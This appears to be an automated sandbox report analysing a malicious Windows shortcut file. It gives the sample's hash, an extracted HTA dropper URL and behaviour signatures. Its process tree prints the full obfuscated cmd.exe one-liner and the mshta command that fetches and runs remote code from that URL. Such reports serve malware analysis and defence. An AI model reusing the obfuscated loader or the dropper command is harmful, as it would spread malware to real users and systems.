Analysis
- max time kernel
149s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
04/08/2026, 08:20
General
- Target DOC-9JKRDV.lnk
- Size 2KB
- Sample260804-j8tagsvdph
- SHA256 159be4ef2a6bae58c4a0f117f1af6cf99cf45df9b188c4419f8e0e103c6e8d1b
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-9JKRDV.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D/v:on/c"set vZNK=sysanwssys&set Vgg=itask&&set crO=t2zt86a&&set Zji=8cvartw&set pltJ=cachejmajnqrqfsokfsumcycache&set xpuqW=netdourzkmjhenet&set CY=2msn&&set FOZU=euht0gc&&set tbox=0ay4o&set Nr=winbnbirlcdlcrwcelwsgwin&set UbiK=datgayldat&set NmO=cacheteacnynzbfojyjcache&&set kvna=ht@t@ps:@//ma@[email protected]@t@/@h/est@a@g@io1.@ph@p?r=391@469F@B5D@8@2DB&&start /b !CY:~1,2!!FOZU:~2,2!!tbox:~1,1! !kvna:@=!"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵
-
-